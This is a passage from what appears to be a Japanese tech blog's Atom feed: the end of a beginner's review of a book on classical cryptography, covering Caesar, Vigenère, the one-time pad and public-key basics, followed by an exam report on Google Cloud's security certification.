360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" transform="translate(500,0)"></path></g></g></g></g></g></svg></mjx-container>通りと膨大で、通常のコンピュータでは解読に数年かかります。</p>
<p>暗号化のポイントは、「鍵をハッカーにバレてはいけない」ことですから、鍵の数が多いということはシンプルながら非常に強力な暗号になります。単一換字式暗号は総当たり攻撃には強い一方で、頻度解析や単語パターン解析には弱く、ハッキングされやすいといった欠点もあります。</p>
<h3 id="ヴィジュネル暗号">ヴィジュネル暗号</h3><p>総当たり攻撃、頻度解析、単語パターン検索に強い、夢のような暗号が1553年に発表されました。これが<strong>ヴィジュネル暗号</strong>（多表換字暗号）です。古典暗号の中では最も強力な部類で、19世紀まで解読されることがなかったようです。</p>
<p>ヴィジュネル暗号の鍵は単一英単語のような文字列で、この文字列が複数の1文字の鍵（サブ鍵と呼ぶ）に分割され、平文を暗号化します。各サブ鍵は整数（インデックス）に変換され、シーザー暗号の鍵として扱います。例えば、文字Cはシーザー暗号の鍵2に対応します（表1を参照）。</p>
<p>例えば、「FUTURE ARCHITECT」という文字列を鍵「DOG」で暗号化すると「IIZXFK DFIKWZHRZ」になります。<br>暗号化の仕組みを表3に示します。1文字目の「F（インデックス5）」は「D（インデックス3）」により右に3シフトするので「I（インデックス8）」に変換されます。次の文字U、Tも同様にO、Gを使って変換していきます。鍵「DOG」は3文字なので、4文字目はまたDに戻る…という要領です。シーザー暗号と同様、Zを超えた場合はAに戻ります。</p>
<p><strong>表2：ヴィジュネル暗号の鍵DOGで暗号化を行う例</strong></p>
<div class="scroll"><table>
<thead>
<tr>
<th align="center">平文の文字</th>
<th align="center">F(5)</th>
<th align="center">U(20)</th>
<th align="center">T(19)</th>
<th align="center">U(20)</th>
<th align="center">R(17)</th>
<th align="center">E(4)</th>
<th align="center">A(0)</th>
<th align="center">R(17)</th>
<th align="center">C(2)</th>
<th align="center">H(7)</th>
<th align="center">I(8)</th>
<th align="center">T(19)</th>
<th align="center">E(4)</th>
<th align="center">C(3)</th>
<th align="center">T(19)</th>
</tr>
</thead>
<tbody><tr>
<td align="center">サブ鍵</td>
<td align="center">D(3)</td>
<td align="center">O(14)</td>
<td align="center">G(6)</td>
<td align="center">D(3)</td>
<td align="center">O(14)</td>
<td align="center">G(6)</td>
<td align="center">D(3)</td>
<td align="center">O(14)</td>
<td align="center">G(6)</td>
<td align="center">D(3)</td>
<td align="center">O(14)</td>
<td align="center">G(6)</td>
<td align="center">D(3)</td>
<td align="center">O(14)</td>
<td align="center">G(6)</td>
</tr>
<tr>
<td align="center">暗号文の文字</td>
<td align="center">I(8)</td>
<td align="center">I(8)</td>
<td align="center">Z(25)</td>
<td align="center">X(23)</td>
<td align="center">F(5)</td>
<td align="center">K(10)</td>
<td align="center">D(3)</td>
<td align="center">F(5)</td>
<td align="center">I(8)</td>
<td align="center">K(10)</td>
<td align="center">W(22)</td>
<td align="center">Z(25)</td>
<td align="center">H(7)</td>
<td align="center">R(17(</td>
<td align="center">Z(25)</td>
</tr>
</tbody></table></div>
<p>ヴィジュネル暗号の鍵は長ければ長いほど安全です。<br>「DOG」のように3文字の鍵で暗号化する場合の鍵の総数は<mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.186ex;" xmlns="http://www.w3.org/2000/svg" width="11.923ex" height="2.139ex" role="img" focusable="false" viewBox="0 -863.3 5270.1 945.3"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="msup"><g data-mml-node="mn"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" transform="translate(500,0)"></path></g><g data-mml-node="mn" transform="translate(1033,393.1) scale(0.707)"><path data-c="33" d="M127 463Q100 463 85 480T69 524Q69 579 117 622T233 665Q268 665 277 664Q351 652 390 611T430 522Q430 470 396 421T302 350L299 348Q299 347 308 345T337 336T375 315Q457 262 457 175Q457 96 395 37T238 -22Q158 -22 100 21T42 130Q42 158 60 175T105 193Q133 193 151 175T169 130Q169 119 166 110T159 94T148 82T136 74T126 70T118 67L114 66Q165 21 238 21Q293 21 321 74Q338 107 338 175V195Q338 290 274 322Q259 328 213 329L171 330L168 332Q166 335 166 348Q166 366 174 366Q202 366 232 371Q266 376 294 413T322 525V533Q322 590 287 612Q265 626 240 626Q208 626 181 615T143 592T132 580H135Q138 579 143 578T153 573T165 566T175 555T183 540T186 520Q186 498 172 481T127 463Z"></path></g></g><g data-mml-node="mo" transform="translate(1714.3,0)"><path data-c="3D" d="M56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153Z"></path></g><g data-mml-node="mn" transform="translate(2770.1,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z" transform="translate(500,0)"></path><path data-c="35" d="M164 157Q164 133 148 117T109 101H102Q148 22 224 22Q294 22 326 82Q345 115 345 210Q345 313 318 349Q292 382 260 382H254Q176 382 136 314Q132 307 129 306T114 304Q97 304 95 310Q93 314 93 485V614Q93 664 98 664Q100 666 102 666Q103 666 123 658T178 642T253 634Q324 634 389 662Q397 666 402 666Q410 666 410 648V635Q328 538 205 538Q174 538 149 544L139 546V374Q158 388 169 396T205 412T256 420Q337 420 393 355T449 201Q449 109 385 44T229 -22Q148 -22 99 32T50 154Q50 178 61 192T84 210T107 214Q132 214 148 197T164 157Z" transform="translate(1000,0)"></path><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z" transform="translate(1500,0)"></path><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" transform="translate(2000,0)"></path></g></g></g></svg></mjx-container>通りしかありませんが、もし20文字の鍵を使う場合の鍵の総数は約<mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.05ex;" xmlns="http://www.w3.org/2000/svg" width="7.947ex" height="2.005ex" role="img" focusable="false" viewBox="0 -864 3512.6 886"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mn"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path></g><g data-mml-node="mo" transform="translate(722.2,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="msup" transform="translate(1722.4,0)"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)"></path></g><g data-mml-node="TeXAtom" transform="translate(1033,393.1) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mn"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path data-c="38" d="M70 417T70 494T124 618T248 666Q319 666 374 624T429 515Q429 485 418 459T392 417T361 389T335 371T324 363L338 354Q352 344 366 334T382 323Q457 264 457 174Q457 95 399 37T249 -22Q159 -22 101 29T43 155Q43 263 172 335L154 348Q133 361 127 368Q70 417 70 494ZM286 386L292 390Q298 394 301 396T311 403T323 413T334 425T345 438T355 454T364 471T369 491T371 513Q371 556 342 586T275 624Q268 625 242 625Q201 625 165 599T128 534Q128 511 141 492T167 463T217 431Q224 426 228 424L286 386ZM250 21Q308 21 350 55T392 137Q392 154 387 169T375 194T353 216T330 234T301 253T274 270Q260 279 244 289T218 306L210 311Q204 311 181 294T133 239T107 157Q107 98 150 60T250 21Z" transform="translate(500,0)"></path></g></g></g></g></g></svg></mjx-container>通りにもなり、総当たりでの解読は現実的ではなくなります。鍵の長さが1つ増えるたびに、鍵の候補数が26倍に増えるのが、ヴィジュネル暗号の強みです。</p>
<p>ヴィジュネル暗号の弱点は、鍵に周期性があることです。例えば、「<strong>THE</strong> CAT IS OUT OF <strong>THE</strong> BAG」を鍵「SPILLTHEBEANS」で暗号化すると「<strong>LWM</strong>NLMPWPYTBX<strong>LWM</strong>MLZ」になります。太字で記したように、暗号文で文字列LWMが2回反復しているのが分かります。これは、平文の単語THEが同じ鍵SPIで暗号化されたからです。例文は簡単な例ですが、ヴィジュネル暗号ではこのように同じ文字の反復が現れるので、この反復の間隔を調べることで鍵長を推定出来ます。鍵長の推定が出来たら、頻度分析にかけていき、鍵の候補をさらに絞り込んでいきます。鍵の候補が絞り込めれば、後は総当たりにかけてやることで、この強力な暗号も解読されてしまいます。</p>
<h3 id="ワンタイムパッド暗号">ワンタイムパッド暗号</h3><p>ヴィジュネル暗号の弱点を補い、<strong>解読不可能</strong>となった暗号が<strong>ワンタイムパッド暗号</strong>です。ワンタイムパッド暗号は次の3つの条件を満たします。</p>
<ol>
<li>ヴィジュネル暗号において、鍵は暗号化するメッセージと同じ長さを持つ。</li>
<li>鍵は真にランダムである</li>
<li>鍵はメッセージの暗号化に一度だけ使用し、再び使用しない</li>
</ol>
<p>鍵長がメッセージ長と等しい場合、平文の各文字にサブ鍵が一意に使われ、各文字は同等の確率で任意の文字に置き換えられるため、周期性が失われ頻度分析にも強くなります。</p>
<p>例えば、「FUTURE ARCHITECT」の文字列を鍵「KLABIITPFQWZLGN」で暗号化すると、「PFTVZMTGHXESPIG」になります。「FUTURE ARCHITECT」は15文字なので、鍵の総数は<mjx-container class="MathJax" jax="SVG"><svg style="vertical-align: -0.229ex;" xmlns="http://www.w3.org/2000/svg" width="15.616ex" height="2.183ex" role="img" focusable="false" viewBox="0 -864 6902.1 965"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="scale(1,-1)"><g data-mml-node="math"><g data-mml-node="mn"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path data-c="36" d="M42 313Q42 476 123 571T303 666Q372 666 402 630T432 550Q432 525 418 510T379 495Q356 495 341 509T326 548Q326 592 373 601Q351 623 311 626Q240 626 194 566Q147 500 147 364L148 360Q153 366 156 373Q197 433 263 433H267Q313 433 348 414Q372 400 396 374T435 317Q456 268 456 210V192Q456 169 451 149Q440 90 387 34T253 -22Q225 -22 199 -14T143 16T92 75T56 172T42 313ZM257 397Q227 397 205 380T171 335T154 278T148 216Q148 133 160 97T198 39Q222 21 251 21Q302 21 329 59Q342 77 347 104T352 209Q352 289 347 316T329 361Q302 397 257 397Z" transform="translate(500,0)"></path></g><g data-mml-node="mo" transform="translate(1000,0)"><path data-c="21" d="M78 661Q78 682 96 699T138 716T180 700T199 661Q199 654 179 432T158 206Q156 198 139 198Q121 198 119 206Q118 209 98 431T78 661ZM79 61Q79 89 97 105T141 121Q164 119 181 104T198 61Q198 31 181 16T139 1Q114 1 97 16T79 61Z"></path></g><g data-mml-node="mo" transform="translate(1555.8,0)"><path data-c="2252" d="M15 541Q15 569 33 585T75 601T117 585T135 541Q135 514 118 498T75 481T32 498T15 541ZM56 347Q56 360 70 367H707Q722 359 722 347Q722 336 708 328L390 327H72Q56 332 56 347ZM56 153Q56 168 72 173H708Q722 163 722 153Q722 140 707 133H70Q56 140 56 153ZM642 -41Q642 -17 658 0T702 18Q726 18 744 3T762 -41Q762 -67 745 -84T702 -101Q676 -101 659 -85T642 -41Z"></path></g><g data-mml-node="mn" transform="translate(2611.6,0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path data-c="2E" d="M78 60Q78 84 95 102T138 120Q162 120 180 104T199 61Q199 36 182 18T139 0T96 17T78 60Z" transform="translate(500,0)"></path><path data-c="37" d="M55 458Q56 460 72 567L88 674Q88 676 108 676H128V672Q128 662 143 655T195 646T364 644H485V605L417 512Q408 500 387 472T360 435T339 403T319 367T305 330T292 284T284 230T278 162T275 80Q275 66 275 52T274 28V19Q270 2 255 -10T221 -22Q210 -22 200 -19T179 0T168 40Q168 198 265 368Q285 400 349 489L395 552H302Q128 552 119 546Q113 543 108 522T98 479L95 458V455H55V458Z" transform="translate(778,0)"></path></g><g data-mml-node="mo" transform="translate(4111.8,0)"><path data-c="D7" d="M630 29Q630 9 609 9Q604 9 587 25T493 118L389 222L284 117Q178 13 175 11Q171 9 168 9Q160 9 154 15T147 29Q147 36 161 51T255 146L359 250L255 354Q174 435 161 449T147 471Q147 480 153 485T168 490Q173 490 175 489Q178 487 284 383L389 278L493 382Q570 459 587 475T609 491Q630 491 630 471Q630 464 620 453T522 355L418 250L522 145Q606 61 618 48T630 29Z"></path></g><g data-mml-node="msup" transform="translate(5112,0)"><g data-mml-node="mn"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500,0)"></path></g><g data-mml-node="TeXAtom" transform="translate(1033,393.1) scale(0.707)" data-mjx-texclass="ORD"><g data-mml-node="mn"><path data-c="32" d="M109 429Q82 429 66 447T50 491Q50 562 103 614T235 666Q326 666 387 610T449 465Q449 422 429 383T381 315T301 241Q265 210 201 149L142 93L218 92Q375 92 385 97Q392 99 409 186V189H449V186Q448 183 436 95T421 3V0H50V19V31Q50 38 56 46T86 81Q115 113 136 137Q145 147 170 174T204 211T233 244T261 278T284 308T305 340T320 369T333 401T340 431T343 464Q343 527 309 573T212 619Q179 619 154 602T119 569T109 550Q109 549 114 549Q132 549 151 535T170 489Q170 464 154 447T109 429Z"></path><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z" transform="translate(500,0)"></path></g></g></g></g></g></svg></mjx-container>です。実は、ハッカーがこれを総当たり出来る強力なコンピュータを持っていても、ワンタイムパッド暗号は解読できません。それは、どの暗号文でも、すべての平文が等しく候補となりうるためです。</p>
<p>どういうことかというと、例えば上で得られた暗号文「PFTVZMTGHXESPIG」を鍵「KLABIITPFQWZLGN」で復号すれば「FUTURE ARCHITECT」になりますが、別の鍵「MXYRIULBZVEZHUT」で復号すると、全く別の単語「DIVERSIFICATION（多様化）」になります。</p>
<p>多くの暗号が解読されやすい理由は、分かりやすい英語に復号する鍵が通常1つしかないからですが、ワンタイムパッド暗号では全く異なる2つ以上の平文から同じ暗号文が得られてしまうため、ハッカーがいかに強力なコンピュータを持っていようが元のメッセージがどれであるか判定できません。</p>
<h2 id="公開鍵と秘密鍵">公開鍵と秘密鍵</h2><p>暗号の歴史を追ってきて、絶対にハッキング不可能な暗号が出来ることが分かりました。しかしこれで終わりではありません。送信者が暗号文を相手に送るとき、受信者が暗号文を解読できるように鍵を一緒に渡さなければなりません。暗号がどれだけ強力であっても、鍵ごとハッキングされたらどうでしょうか。メッセージは簡単にハッカーに知れ渡ってしまいます。</p>
<p>この問題を解決するのが<strong>公開鍵暗号方式</strong>です。今まで記述した暗号では、暗号化と復号に同じ鍵を使っていましたが、公開鍵暗号方式では暗号化と復号に異なる鍵を使います。そして、暗号鍵で暗号化されたメッセージは、それと対となる復号鍵だけで復号できます。暗号鍵ではメッセージを解読できず、世界中で共有できるので<strong>公開鍵</strong>と呼ばれています。一方で、復号鍵は誰にもバレてはいけないので<strong>秘密鍵</strong>と呼ばれます。</p>
<p>例えば、AがBにメッセージを送りたいとき、AはBから公開鍵を受け取り、その公開鍵を使ってメッセージを暗号化します。公開鍵はメッセージを復号できないので、他の人にバレても問題ありません。<br>BはAから暗号化されたメッセージを受け取ると、自分の秘密鍵でそれを復号します。Bだけが、Bの公開鍵で暗号化されたメッセージを復号できる秘密鍵を持っているのです（秘密鍵は他の人にバレてはいけません）。</p>
<p>BがAに返信したい場合、今度はBがAの公開鍵を使ってメッセージを暗号化します。AはBから受け取った暗号文を、Aの秘密鍵を使って復号します。</p>
<p>このように、公開鍵暗号方式では、メッセージをハッカーに傍受される心配をせずにメッセージを交換できます。</p>
<h2 id="さいごに">さいごに</h2><p>今回は、暗号について知らない初心者が、暗号の歴史を辿っていくという内容でした。</p>
<p>記事では紹介できませんでしたが、書籍には教科書的RSA暗号を用いた公開鍵・秘密鍵の作成についても触れられていますので、この記事で興味を持っていただけましたら、ぜひ手に取ってみて下さい。</p>
<p>久々にガッツリ勉強しましたが、自分の知識が少しでも増えていくのを感じられるとやはり楽しいですね。せっかく暗号の基礎を勉強できたので、今度は公開鍵暗号の課題でもある認証についても学んでみたいと思います。</p>
<p>最後まで読んでいただき、ありがとうございました。</p>
<p>アイキャッチはCaesar cipher - Wikipediaより、シーザー暗号の換字ディスクを利用させていただきました。</p>
<p>次は木元さんの プロになるためのWeb技術入門」を新人が読んでみたです。</p>
]]></content>
    <summary type="html">Pythonでいかにして暗号を破るかを用いて、暗号の基礎と、暗号の進化の歴史を勉強しました。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
    <category term="初心者向け" scheme="https://future-architect.github.io/tags/%E5%88%9D%E5%BF%83%E8%80%85%E5%90%91%E3%81%91/"/>
    <category term="暗号" scheme="https://future-architect.github.io/tags/%E6%9A%97%E5%8F%B7/"/>
    <category term="書評" scheme="https://future-architect.github.io/tags/%E6%9B%B8%E8%A9%95/"/>
  </entry>
  <entry>
    <title>【合格記】Google Cloud Professional Cloud Security Engineer認定資格を振り返る</title>
    <link href="https://future-architect.github.io/articles/20230921a/"/>
    <id>https://future-architect.github.io/articles/20230921a/</id>
    <published>2023-09-20T15:00:00.000Z</published>
    <updated>2023-09-20T15:00:00.000Z</updated>
    <author><name>岸下優介</name></author>
    <content type="html"><![CDATA[<img fetchpriority="high" src="/images/2023/20230921a/image.png" alt="" width="611" height="593">

<h2 id="はじめに">はじめに</h2><p>TIG 岸下です。</p>
<p>これまでのプロジェクトでは組織全体のGoogle Cloudプロジェクトを包括的に見る業務に携わっており、主にIAMやネットワークを含むGoogle Cloud環境上の治安維持のような仕事を担ってきました。今回はその経験値を測るべくProfessional Cloud Security Engineer認定資格を受けてきました。</p>
<p>無事に合格を果たすことができたので、本記事では学習内容などの過程を書いていこうと思います。</p>
<p>また本試験はGoogle Cloudパートナー企業向けのバウチャーを活用して受験しました。大変感謝しております！</p>
<p>Google Cloud 認定資格関連の過去記事：</p>
<ul>
<li>【合格記】Google Cloud Professional Data Engineer認定資格を振り返る</li>
<li>【合格記】Google Cloud Professional Machine Learning Engineer認定資格を振り返る</li>
<li>Google Cloud Professional Cloud Architectの再認定に合格しました</li>
<li>GCP Professional Cloud Network Engineer に合格しました</li>
<li>GCP Associate Cloud Engineer 合格記</li>
</ul>
<h2 id="試験と出題範囲">試験と出題範囲</h2><p>公式の出題範囲と、実際に自分が受けた際の所感は以下になります。</p>
<h3 id="クラウド-ソリューション環境内のアクセスの構成">クラウド ソリューション環境内のアクセスの構成</h3><ul>
<li>IAMによるサービスへのアクセス制御<ul>
<li>組織IAM・フォルダIAM・プロジェクトIAM・リソースIAMのすみわけ</li>
<li>継承の理解<ul>
<li>どの階層のIAMが適用されるのか？</li>
</ul>
</li>
</ul>
</li>
<li>組織ポリシーの理解<ul>
<li>Service Account作成の制限やCloud Storage Bucketの公開制限など、プロジェクト全体のリソースを制御</li>
</ul>
</li>
<li>プロジェクトやフォルダの分け方のベストプラクティス<ul>
<li>例：部署ごとにフォルダ分けをして、その中にプロジェクトを作成するなど<ul>
<li>エンタープライズ企業のベスト プラクティス</li>
</ul>
</li>
</ul>
</li>
<li>Cloud Identityによるユーザー管理<ul>
<li>グループを利用したユーザーの管理</li>
<li>Google Cloud Directory Syncを利用したADサーバーとGoogle Cloudの統合</li>
</ul>
</li>
</ul>
<h3 id="ネットワーク-セキュリティの構成">ネットワーク セキュリティの構成</h3><ul>
<li>以下のGoogle Cloudネットワークの暗黙のFirewallルールは絶対に覚えておきましょう<ul>
<li><strong>INGRESSは全て拒否</strong></li>
<li><strong>EGRESSは全て許可</strong></li>
</ul>
</li>
<li>Firewall全般<ul>
<li>Priority値の高低と優先度の関係</li>
<li>ネットワークタグ・サービスアカウントを活用したFirewallルール</li>
</ul>
</li>
<li>VPC Peering&#x2F;Cloud VPN&#x2F;Cloud Interconnectの使い分け<ul>
<li>Cloud InterconnectはさらにPartner&#x2F;Dedicatedで用途が分かれる</li>
</ul>
</li>
</ul>
<h3 id="データ保護の確保">データ保護の確保</h3><ul>
<li>VPC Service Controlによるデータ保護<ul>
<li>プロジェクトに対して各種サービスのAPI実行を制限し、データの持ち出し・持ち込みを防ぐ</li>
<li>拙著も参考にしてみて下さい：VPC Service ControlでGoogle Cloud環境をガッチリ守る</li>
</ul>
</li>
<li>Cloud DLP(Data Loss Prevention)の活用<ul>
<li>個人情報に対する適切な暗号化</li>
<li>暗号化は復元する必要があるのか否かによって手法が変わる<ul>
<li>決定的暗号化 or 完全なマスキング</li>
</ul>
</li>
</ul>
</li>
</ul>
<h3 id="クラウド-ソリューション環境内のオペレーションの管理">クラウド ソリューション環境内のオペレーションの管理</h3><ul>
<li>Cloud KMSを利用した暗号鍵の保管<ul>
<li>Envelop encryptionは勿論、それに関わる以下の用語は説明できるようにしておきましょう<ul>
<li>CMEK</li>
<li>CSEK</li>
<li>DEK</li>
<li>KEK</li>
</ul>
</li>
<li>どうやって暗号鍵を保管しておきたいのか？</li>
</ul>
</li>
<li>Secret Managerの活用<ul>
<li>API keyなどはSecret Managerに保存しておきましょう</li>
</ul>
</li>
</ul>
<h3 id="コンプライアンスの確保">コンプライアンスの確保</h3><ul>
<li>各種ログで何の情報が得られるのか？<ul>
<li>Audit log</li>
<li>Data Access log</li>
</ul>
</li>
<li>Googleの<code>_Default</code>&#x2F;<code>_Required</code>のログバケットとは？<ul>
<li>ログバケットの構成</li>
<li>保存期間や料金体系も異なる</li>
</ul>
</li>
<li>監査ログの保管方法<ul>
<li>長期間保管したい場合はLog SinkとCloud Storageを活用してコストカット</li>
</ul>
</li>
</ul>
<h2 id="受験までの過程">受験までの過程</h2><p>試験範囲の内容はある程度実務として経験済みだったので、勉強期間は約2週間ほどで済みました。<br>実務の経験として主に役立った内容は、</p>
<ul>
<li>IAMの基礎知識（継承など）</li>
<li>IAMを最小権限に留める、IAMをグループで管理するなどのIAMのベストプラクティス</li>
<li>組織ポリシーいろいろ</li>
<li>組織・フォルダ・プロジェクトの分け方</li>
<li>Google Cloudのネットワーク関連<ul>
<li>Shared VPC</li>
<li>Cloud VPN</li>
<li>VPC Peering</li>
<li>Dedicated&#x2F;Partner Interconnect</li>
</ul>
</li>
<li>Secret Mangerによる機密情報管理やCloud KMSによる暗号鍵管理</li>
<li>Cloud Identityの利用</li>
</ul>
<p>などが挙げられます。</p>
<h3 id="利用した教材">利用した教材</h3><p>最初に模擬試験をやってみたところある程度いけそうな感があったので、今回はUdemyの問題集のみ利用しました。</p>
<ul>
<li>Google Professional Cloud Security Engineer | 模擬試験2023年版</li>
</ul>
<h2 id="まとめ">まとめ</h2><p>今回受験してみて、中身の仕組みをあまり理解していない状態で実務で使っていたんだなーと実感しました。特にCloud KMSはよく使っていましたが、Envelop encryptionという言葉自体を知らずに使っていました。</p>
<p>本受験を通して、Google CloudのCloud Securityに関する網羅的な知見を得ることができたので、業務の振り返りとしてちょうどよかったです。</p>
<p>Google CloudのCloud Securityに取っ掛かりを得たい方、振り返りをしたい方はぜひ受けてみてください！</p>
<p>アイキャッチ画像はGoogle Cloud Certificationから付与されたものになります。</p>
]]></content>
    <summary type="html">これまで組織全体のGoogle Cloudプロジェクトを包括的に見る業務に携わっており、主にIAMやネットワークを含むGoogle Cloud環境上の治安維持のような仕事を担ってきました。今回はその経験値を測るべくProfessional Cloud Security Engineer認定資格を受けてきました。</summary>
    <category term="Security" scheme="https://future-architect.github.io/categories/Security/"/>
